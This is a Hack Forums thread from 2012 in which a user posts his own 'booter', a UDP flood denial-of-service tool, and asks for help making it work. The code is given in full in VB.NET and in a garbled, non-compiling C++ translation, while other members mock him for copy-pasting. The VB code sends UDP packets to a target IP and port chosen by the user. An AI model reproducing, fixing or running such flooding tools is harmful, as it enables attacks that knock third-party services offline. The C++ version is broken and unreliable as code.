

Forum:[Hack Forums](#)

Thread: [PLZ review my booter source plz](#)

h3xt - October 6, 2012, 1:26 pm

here is a simple booter i made in vb and need it to work :/

Code Imports System.Net, System.Net.Sockets, System.ComponentModel

Public Class Form1

Public Enum Status

Attacking = 1

Stopped = 2

End Enum

Friend WithEvents bgflood As New BackgroundWorker

Dim IsFlooding As Boolean = False

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles MyBase.Load

bgflood.WorkerReportsProgress = True

End Sub

Private Sub Flood(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles

bgflood.DoWork

Dim Ip As IPAddress = IPAddress.Parse(host.Text)

Dim IpandPort As New IPEndPoint(Ip, Convert.ToInt32(port.Text))

Dim Packet As Byte() = New Byte(PacketSize.Text) {}

Dim SockNum As Integer = Sockets.Text

Do While IsFlooding = True

For i = 0 To SockNum

Dim _sock(i) As Socket

_sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram,

ProtocolType.Udp)

Try

_sock(i).SendTo(Packet, IpandPort)

bgflood.ReportProgress(Status.Attacking)

Threading.Thread.Sleep(500)

Catch ex As Exception

Threading.Thread.Sleep(500)

End Try

Exit Do

Next

Loop

bgflood.ReportProgress(Status.Stopped)

End Sub

Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles

bgflood.ProgressChanged

Select Case e.ProgressPercentage

Case Status.attacking

listbox1.items.add("flooding... - " & Date.Now.ToLocalTime)

Listbox1.SelectedIndex = listbox1.items.count - 1

Case status.stopped

```
listbox1.items.add("stopped... - " & Date.Now.ToLocalTime)
listbox1.selectedindex = listbox1.items.count - 1
```

```
End Select
End Sub
```

```
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Attack.Click
    IsFlooding = True
    If Not bgflood.IsBusy = False Then
        bgflood.RunWorkerAsync()
    End If
End Sub
```

```
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
    IsFlooding = False
End Sub
End Class
```

Yuuki - October 6, 2012, 1:38 pm

It's not going to be very effective considering it's a DoS.

h3xt - October 6, 2012, 1:39 pm

ok ik i copied in to c++ and il run it in linux

someone plz help me... :(i made it in c++ too should i post it?

nathan72389 - October 6, 2012, 4:00 pm

(Oct 6, 2012 01:39 PM)h3xt Wrote: [\[CITE\]](#) ok ik i copied in to c++ and il run it in linux

someone plz help me... :(i made it in c++ too should i post it?
plz

[img]<http://content.screencast.com/users/n72389/folders/Snagit/media/ad3dc9d1-8191-412b-8a00-b3024f0dd76f/10.06.2012-19.00.07.png>[/img]

quit C&P'ing everything.

Pussy Cat - October 6, 2012, 4:11 pm

(Oct 6, 2012 04:00 PM)nathan72389 Wrote: [\[CITE\]](#) plz

[img]<http://content.screencast.com/users/n72389/folders/Snagit/media/ad3dc9d1-8191-412b-8a00-b3024f0dd76f/10.06.2012-19.00.07.png>[/img]

quit C&P'ing everything.
What if he actually wrote that but Google C&P'd from him? That guy is a hero.

h3xt - October 6, 2012, 4:34 pm

i wrote that :/ i didnt copy and paste...

here it is in c++

```
[/code] #include <stdexcept>
#include "stringconverter.h"

{
public:
    enum Status
    {
        Attacking = 1,
        Stopped = 2
    };
public:
    BackgroundWorker *bgflood;
private:
    bool IsFlooding;

    void Form1_Load(Object *sender, System::EventArgs *e)
    {
        bgflood->WorkerReportsProgress = true;
    }
    void Flood(Object *sender, DoWorkEventArgs *e)
    {
        IPAddress *Ip = IPAddress::Parse(host->Text);
        IPEndPoint *IpandPort = new IPEndPoint(Ip, StringConverterHelper::fromString<int>(port->Text));
        unsigned char Packet[PacketSize.Text + 1];
        int SockNum = StringConverterHelper::fromString<int>(Sockets->Text);
        while (IsFlooding == true)
        {
            for (Object *i = 0; i <= SockNum; i++)
            {
                Socket _sock[i + 1];
                _sock[i] = new Socket(AddressFamily::InterNetwork, SocketType::Dgram, ProtocolType::Udp);
                try
                {
                    _sock[i]->SendTo(Packet, IpandPort);
                    bgflood->ReportProgress(Attacking);
                    Threading::Thread::Sleep(500);
                }
                catch (std::exception &ex)
                {
                    Threading::Thread::Sleep(500);
                }

                goto ExitLabel1;
            }
        }
        ExitLabel1:
        bgflood->ReportProgress(Stopped);
    }
    void Report(Object *sender, ProgressChangedEventArgs *e)
    {

```

```

switch (e->ProgressPercentage)
{
    case attacking:
        listBox1::items::add(L"flooding... - " + DateTime::Now.ToLocalTime());
        Listbox1->SelectedIndex = listBox1::items::count - 1;
        break;
    case status::stopped:
        listBox1::items::add(L"stopped... - " + DateTime::Now.ToLocalTime());
        listBox1->selectedIndex = listBox1::items::count - 1;

        break;
}
}

```

```

void Button1_Click(Object *sender, System::EventArgs *e)
{
    IsFlooding = true;
    if (! (bgflood->IsBusy == false))
    {
        bgflood->RunWorkerAsync();
    }
}

```

```

void Button2_Click(Object *sender, System::EventArgs *e)
{
    IsFlooding = false;
}

```

```

private:
void InitializeInstanceFields()
{
    bgflood = new BackgroundWorker();
    IsFlooding = false;
}

```

```

public:
Form1()
{

    InitializeInstanceFields();

    __super::Load += new System::EventHandler(this, &Form1::Form1_Load);
    this->bgflood->DoWork += new System::ComponentModel::DoWorkEventHandler(this,
&Form1::Flood);
    this->bgflood->ProgressChanged += new
System::ComponentModel::ProgressChangedEventHandler(this, &Form1::Report);
    this->Attack->Click += new System::EventHandler(this, &Form1::Button1_Click);
    this->Button2->Click += new System::EventHandler(this, &Form1::Button2_Click);
}

```

```

public:
Form1()
{

```

```

InitializeInstanceFields();
}
};

#include <sstream>

class StringConverterHelper
{
public:
    template<typename T>
    static std::wstring toString(const T &subject)
    {
        std::wstringstream ss;
        ss << subject;
        return ss.str();
    }

    template<typename T>
    static T fromString(const std::wstring &subject)
    {
        std::wstringstream ss(subject);
        T target;
        ss >> target;
        return target;
    }
};

```

[/code]

Pussy Cat - October 6, 2012, 4:36 pm

(Oct 6, 2012 04:34 PM)h3xt Wrote: [\[CITE\]](#) i wrote that :/ i didnt copy and paste...
I know that feel bro, it's always so unfair when Google copies off you :|

h3xt - October 6, 2012, 4:41 pm

(Oct 6, 2012 04:36 PM)Woozie Wrote: [\[CITE\]](#) I know that feel bro, it's always so unfair when Google copies off you :|
lol ik :/ but check out the c++ code :)

maype - October 6, 2012, 5:05 pm

(Oct 6, 2012 04:36 PM)Woozie Wrote: [\[CITE\]](#) I know that feel bro, it's always so unfair when Google copies off you :|
I think this message contains a bit of sarcasm lol ? :P

Pussy Cat - October 6, 2012, 5:30 pm

(Oct 6, 2012 05:05 PM)M?ype Wrote: [\[CITE\]](#) I think this message contains a bit of sarcasm lol ? :P
AAnd here it comes! Captain Obvious strikes again! Thank you Captain Obvious!

maype - October 6, 2012, 5:39 pm

(Oct 6, 2012 05:30 PM)Woozie Wrote: [\[CITE\]](#) AAnd here it comes! Captain Obvious strikes again!
Thank you Captain Obvious!
ahaha :P I said that because I think the guy who posted dont understand ! LOL

h3xt - October 6, 2012, 6:09 pm

(Oct 6, 2012 05:30 PM)Woozie Wrote: [\[CITE\]](#) AAnd here it comes! Captain Obvious strikes again!
Thank you Captain Obvious!
captain obvious -_- hey bro everyone was a skid at one time :/

SIM-1204701 - *October 6, 2012, 6:39 pm*

Sniff Sniff I smell a copy and pasta :O